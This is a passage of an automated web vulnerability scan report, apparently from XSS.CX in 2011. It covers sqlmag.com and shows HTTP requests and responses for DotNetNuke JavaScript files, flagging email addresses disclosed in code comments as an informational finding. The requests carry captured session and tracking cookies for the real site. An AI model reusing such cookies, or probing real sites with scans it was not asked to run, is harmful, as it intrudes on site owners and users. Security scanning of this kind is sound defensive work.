User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: text/javascript, application/javascript, */*; q=0.01
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: .ASPXANONYMOUS=hLbIaT1ozAEkAAAANTdhZDUyZjQtYTc0Yi00NjY0LWIwZmYtOTE5NTU4OWQ2MGI30; ASP.NET_SessionId=gmn332lzmdbyv55h2act3yt3; site_rbk=1; BIGipServerpool_sqlmag.com_http_12152010=2729705994.20480.0000; language=en-US; ContentURL=//404; s_pers=%20s_visit%3D1%7C1308838465703%3B%20s_depth%3D1%7C1308838465705%3B%20s_dirL%3D1%7C1308838465707%3B%20s_getNewRepeat%3D1308836665711-New%7C1340372665711%3B%20s_vnum%3D1311428665712%2526vn%253D1%7C1311428665712%3B%20s_invisit%3Dtrue%7C1308838465712%3B; s_sess=%20s_cc%3Dtrue%3B%20s_cm%3DundefinedDirect%2520LoadDirect%2520Load%3B%20gpb_tdt%3DDirect%2520Traffic%3B%20s_sq%3D%3B; s_vi=[CS]v1|2701A19C851D2831-6000013660027381[CE]; __utmz=20365114.1308836723.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=20365114.1181228728.1308836680.1308836680.1308836680.1; __utmc=20365114; __utmb=20365114.1.10.1308836680

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Content-Type: application/x-javascript
Last-Modified: Mon, 21 Mar 2011 16:15:34 GMT
ETag: "pv4a3eb4c5e9334813b2605daf28961907"
X-PvInfo: [S11101.C70461.A45914.RA0.G11332.UDEA3CDC8].[OT/all.OG/includes]
Vary: Accept-Encoding
Accept-Ranges: bytes
Connection: Keep-Alive
Date: Thu, 23 Jun 2011 14:12:53 GMT
Age: 2153
Content-Length: 10101

/*
DotNetNuke. - http://www.dotnetnuke.com
Copyright (c) 2002-2010
by DotNetNuke Corporation

Permission is hereby granted, free of charge, to any person obtaining a copy of this softwar
...[SNIP]...
<history>
   ''' Version 1.0.0: Feb. 28, 2007, Nik Kalyani, nik.kalyani@dotnetnuke.com
   ''' Version 1.0.1: Oct. 28, 2007, Nik Kalyani, nik.kalyani@dotnetnuke.com
   ''' </history>
...[SNIP]...

4.3. http://www.sqlmag.com/Resources/Shared/scripts/widgets.js  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.sqlmag.com
Path:   /Resources/Shared/scripts/widgets.js

Issue detail

The following email address was disclosed in the response:

Request

GET /Resources/Shared/scripts/widgets.js HTTP/1.1
Host: www.sqlmag.com
Proxy-Connection: keep-alive
Referer: http://www.sqlmag.com/article/sql-server/hardening%20sql%20server-135858
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: text/javascript, application/javascript, */*; q=0.01
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: .ASPXANONYMOUS=hLbIaT1ozAEkAAAANTdhZDUyZjQtYTc0Yi00NjY0LWIwZmYtOTE5NTU4OWQ2MGI30; ASP.NET_SessionId=gmn332lzmdbyv55h2act3yt3; site_rbk=1; BIGipServerpool_sqlmag.com_http_12152010=2729705994.20480.0000; language=en-US; ContentURL=//404; s_pers=%20s_visit%3D1%7C1308838465703%3B%20s_depth%3D1%7C1308838465705%3B%20s_dirL%3D1%7C1308838465707%3B%20s_getNewRepeat%3D1308836665711-New%7C1340372665711%3B%20s_vnum%3D1311428665712%2526vn%253D1%7C1311428665712%3B%20s_invisit%3Dtrue%7C1308838465712%3B; s_sess=%20s_cc%3Dtrue%3B%20s_cm%3DundefinedDirect%2520LoadDirect%2520Load%3B%20gpb_tdt%3DDirect%2520Traffic%3B%20s_sq%3D%3B; s_vi=[CS]v1|2701A19C851D2831-6000013660027381[CE]; __utmz=20365114.1308836723.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=20365114.1181228728.1308836680.1308836680.1308836680.1; __utmc=20365114; __utmb=20365114.1.10.1308836680

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Content-Type: application/x-javascript
Last-Modified: Mon, 21 Mar 2011 16:15:34 GMT
ETag: "pv64f306009d1f301525ff78adc66cf39d"
X-PvInfo: [S11101.C70461.A45914.RA0.G11332.U68DAB823].[OT/all.OG/includes]
Vary: Accept-Encoding
Accept-Ranges: bytes
Connection: Keep-Alive
Date: Thu, 23 Jun 2011 14:12:54 GMT
Age: 2153
Content-Length: 11495

/*
DotNetNuke. - http://www.dotnetnuke.com
Copyright (c) 2002-2010
by DotNetNuke Corporation

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and as
...[SNIP]...
<history>
''' Version 1.0.0: Oct. 16, 2007, Nik Kalyani, nik.kalyani@dotnetnuke.com
''' </history>
...[SNIP]...

Report generated by XSS.CX at Thu Jun 23 09:42:06 CDT 2011.